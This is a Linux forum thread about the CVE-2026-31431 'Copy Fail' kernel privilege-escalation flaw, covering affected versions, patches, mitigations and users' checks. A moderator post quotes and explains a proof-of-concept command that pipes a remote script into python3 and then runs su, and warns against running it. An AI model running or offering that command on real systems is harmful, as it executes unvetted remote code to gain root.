# Copy Fail - High Severity Vulnerability - CVE-2026-31431 **URL:** \ **Category:** Important notifications\ **Created:** [April 30, 2026, 12:57am UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381 "2026-04-30T00:57:10Z")\ **Posts on this page:** 20\ **Page:** 1
**Author:** ![homelab\_hacker](https://forum.endeavouros.com/letter_avatar_proxy/v4/letter/h/e79b87/32.png) [@homelab\_hacker](https://forum.endeavouros.com/u/homelab_hacker)\ **Post date:** [April 30, 2026, 12:57am UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/1 "2026-04-30T00:57:10Z")
Hi Everyone, There is a new high severity linux vulnerabilty that was silently patched with a664bf3 last month. > > > This mostly reverts commit 72548b093ee3 except for the copying of > the associated… data. > > There is no benefit in operating in-place in algif\_aead since the > source and destination come from different mappings. Get rid of > all the complexity added for in-place operation and just copy the > AD directly. > > Fixes: 72548b093ee3 ("crypto: algif\_aead - copy AAD from src to dst") > Reported-by: Taeyang Lee \<0wn@theori.io\> > Signed-off-by: Herbert Xu \ For those of you that don’t update your systems often or haven’t in the past month you will likely want to update your kernel to ensure that you’ve successfully remediated. For those of you that are system admins with minimal patch windows you will want to prioritize this remediation. POCs are now available for those of you that want to test if you are vulnerable. [https://copy.fail/#affected](https://copy.fail/#affected) I tested on a vulnerable system and exploitation was just that easy. ![image](https://forum.endeavouros.com/uploads/default/original/3X/c/b/cb18743ddaa98ff61c6cf02b050a28f6286b7c7e.png) Here’s a link to the original research for those of you that are curious. Its a very interesting read: [https://xint.io/blog/copy-fail-linux-distributions](https://xint.io/blog/copy-fail-linux-distributions) backlink: > [@Copy Fail - High Severity Vulnerability - CVE-2026-31431](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381): > > Hi Everyone, There is a new high severity linux vulnerabilty that was silently patched with a664bf3 last month. For those of you that don’t update your systems often or haven’t in the past month you will likely want to update your kernel to ensure that you’ve successfully remediated. For those of you that are system admins with minimal patch windows you will want to prioritize this remediation. POCs are now available for those of you that want to test if you are vulnerable. [https://copy.fai…](https://copy.fail/#affected) ---
**Author:** ![TheRaOct](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/theraoct/32/37424_2.png) [@TheRaOct](https://forum.endeavouros.com/u/TheRaOct)\ **Post date:** [April 30, 2026, 12:05pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/2 "2026-04-30T12:05:26Z")
---
**Author:** ![TheRaOct](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/theraoct/32/37424_2.png) [@TheRaOct](https://forum.endeavouros.com/u/TheRaOct)\ **Post date:** [April 30, 2026, 12:05pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/3 "2026-04-30T12:05:55Z")
---
**Author:** ![Cphusion](https://forum.endeavouros.com/letter_avatar_proxy/v4/letter/c/58956e/32.png) [@Cphusion](https://forum.endeavouros.com/u/Cphusion)\ **Post date:** [April 30, 2026, 12:06pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/4 "2026-04-30T12:06:23Z")
People will need to update their kernel because of this once the security patch is available. > **[Copy Fail — 732 Bytes to Root](https://copy.fail)** > > CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code. ---
**Author:** ![dbarronoss](https://forum.endeavouros.com/letter_avatar_proxy/v4/letter/d/f4b2a3/32.png) [@dbarronoss](https://forum.endeavouros.com/u/dbarronoss)\ **Post date:** [April 30, 2026, 12:19pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/5 "2026-04-30T12:19:37Z")
Not vulnerable. Yay 🙂 ---
**Author:** ![Rastem](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/rastem/32/76720_2.png) [@Rastem](https://forum.endeavouros.com/u/Rastem)\ **Post date:** [April 30, 2026, 3:25pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/6 "2026-04-30T15:25:30Z")
Looks like this affects kernel versions from 4.14.1-1 until 6.19.12-1 according to [https://security.archlinux.org/CVE-2026-31431](https://security.archlinux.org/CVE-2026-31431) . ---
**Author:** ![MrSmartepants](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/mrsmartepants/32/113354_2.png) [@MrSmartepants](https://forum.endeavouros.com/u/MrSmartepants)\ **Post date:** [April 30, 2026, 6:30pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/7 "2026-04-30T18:30:47Z")
This was fixed in 6.19.12-1. If you have any version prior to this, update! ---
**Author:** ![homelab\_hacker](https://forum.endeavouros.com/letter_avatar_proxy/v4/letter/h/e79b87/32.png) [@homelab\_hacker](https://forum.endeavouros.com/u/homelab_hacker)\ **Post date:** [May 1, 2026, 1:53am UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/8 "2026-05-01T01:53:39Z")
For those of you that can’t install patches RedHat has provided some mitigations that don’t require upgrading your kernel: [https://access.redhat.com/security/cve/cve-2026-31431](https://access.redhat.com/security/cve/cve-2026-31431) ---
**Author:** ![serutan](https://forum.endeavouros.com/letter_avatar_proxy/v4/letter/s/e0b2c6/32.png) [@serutan](https://forum.endeavouros.com/u/serutan)\ **Post date:** [May 1, 2026, 3:31am UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/9 "2026-05-01T03:31:44Z")
What about the LTS version? I have 7.0.1 Arch, but 6.18.25 LTS. ---
**Author:** ![Sentry64](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/sentry64/32/109974_2.png) [@Sentry64](https://forum.endeavouros.com/u/Sentry64)\ **Post date:** [May 1, 2026, 4:58am UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/10 "2026-05-01T04:58:08Z")
![image](https://forum.endeavouros.com/uploads/default/original/3X/a/2/a2d558aacc6b4d3d06abbc2e39d9b681b616a89e.png) am i vulnerable to the exploit? this is my kernel version at the moment, sorry if this is dumb to ask i’m kinda in a panic rn ---
**Author:** ![Bink](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/bink/32/87216_2.png) [@Bink](https://forum.endeavouros.com/u/Bink)\ **Post date:** [May 1, 2026, 5:14am UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/11 "2026-05-01T05:14:44Z")
Should be good @Sentry64 👍 The [Arch Linux report for that CVE](https://security.archlinux.org/CVE-2026-31431) states that it was fixed with kernel 6.19.12-1. ![image](https://forum.endeavouros.com/uploads/default/original/3X/c/f/cf7b98ce0b232bdb0f72c837bb317e5b4a2a8bde.png) So for anyone keeping a pretty up-to-date system, it’s actually been fixed for a couple of weeks now. ---
**Author:** ![Sentry64](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/sentry64/32/109974_2.png) [@Sentry64](https://forum.endeavouros.com/u/Sentry64)\ **Post date:** [May 1, 2026, 5:18am UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/12 "2026-05-01T05:18:22Z")
oh thank goodness, i was worried for a moment there.. thanks for the reply! ---
**Author:** ![joekamprad](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/joekamprad/32/77608_2.png) [@joekamprad](https://forum.endeavouros.com/u/joekamprad)\ **Post date:** [May 1, 2026, 10:51am UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/13 "2026-05-01T10:51:27Z")
everyone should be fine if system is updated. ---
**Author:** ![ilwyd](https://forum.endeavouros.com/letter_avatar_proxy/v4/letter/i/c57346/32.png) [@ilwyd](https://forum.endeavouros.com/u/ilwyd)\ **Post date:** [May 1, 2026, 11:49am UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/15 "2026-05-01T11:49:59Z")
Tested on my machine and it looks to be patched on 6.18.25-1-lts ---
**Author:** ![serutan](https://forum.endeavouros.com/letter_avatar_proxy/v4/letter/s/e0b2c6/32.png) [@serutan](https://forum.endeavouros.com/u/serutan)\ **Post date:** [May 1, 2026, 1:40pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/16 "2026-05-01T13:40:43Z")
Thanks. A previous post mentioned 6.19.12-1 (without saying whether it was LTS or not) as the safe version, so I just wanted to make sure. ---
**Author:** ![drunkenvicar](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/drunkenvicar/32/112222_2.png) [@drunkenvicar](https://forum.endeavouros.com/u/drunkenvicar)\ **Post date:** [May 1, 2026, 4:43pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/17 "2026-05-01T16:43:58Z")
thank you all ---
**Author:** ![joekamprad](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/joekamprad/32/77608_2.png) [@joekamprad](https://forum.endeavouros.com/u/joekamprad)\ **Post date:** [May 1, 2026, 7:23pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/18 "2026-05-01T19:23:36Z")
> [@ilwyd](#): > > Tested on my machine and it looks to be patched on 6.18.25-1-lts ---
**Author:** ![pete67](https://forum.endeavouros.com/letter_avatar_proxy/v4/letter/p/48db29/32.png) [@pete67](https://forum.endeavouros.com/u/pete67)\ **Post date:** [May 1, 2026, 7:58pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/19 "2026-05-01T19:58:49Z")
I run `6.19.14-arch1-1 (64-bit)` as KDE-System-Info says. What’s the proper command to get that info, please? ---
**Author:** ![joekamprad](https://forum.endeavouros.com/user_avatar/forum.endeavouros.com/joekamprad/32/77608_2.png) [@joekamprad](https://forum.endeavouros.com/u/joekamprad)\ **Post date:** [May 1, 2026, 8:07pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/20 "2026-05-01T20:07:45Z")
You should not run this on your system, also it should not harm and it should get reset with reboot. > 1. **`curl https://copy.fail/exp`** : This downloads a script from a remote server. You have no way of knowing what is in that script without inspecting it first. > 2. **`| python3`** : This takes the downloaded script and immediately executes it using the Python interpreter. This means the code runs with your current user permissions the moment it is downloaded. > 3. **`&& su`** : If the previous script succeeds, it attempts to switch to the superuser (root) account. In the context of an exploit (like the CVE mentioned in the page title), the script likely attempts to steal your password or use a vulnerability to grant the attacker root access. The website is mentioning the command: [![screenshot2026-05-0122-06-28](https://forum.endeavouros.com/uploads/default/original/3X/1/c/1c5a9dc1a804f6702831bc08cf75d9c98e6f87da.png)](https://copy.fail/) I had run that on virtual machines, so you do not have too; ) ---
**Author:** ![pete67](https://forum.endeavouros.com/letter_avatar_proxy/v4/letter/p/48db29/32.png) [@pete67](https://forum.endeavouros.com/u/pete67)\ **Post date:** [May 1, 2026, 8:22pm UTC](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381/21 "2026-05-01T20:22:35Z")
Ah, okay. Thanks, Joe. As i have a Kernel above the fixed 6.19.12-1 I should be save. 😉 [Next page](https://forum.endeavouros.com/t/copy-fail-high-severity-vulnerability-cve-2026-31431/79381.md?page=2)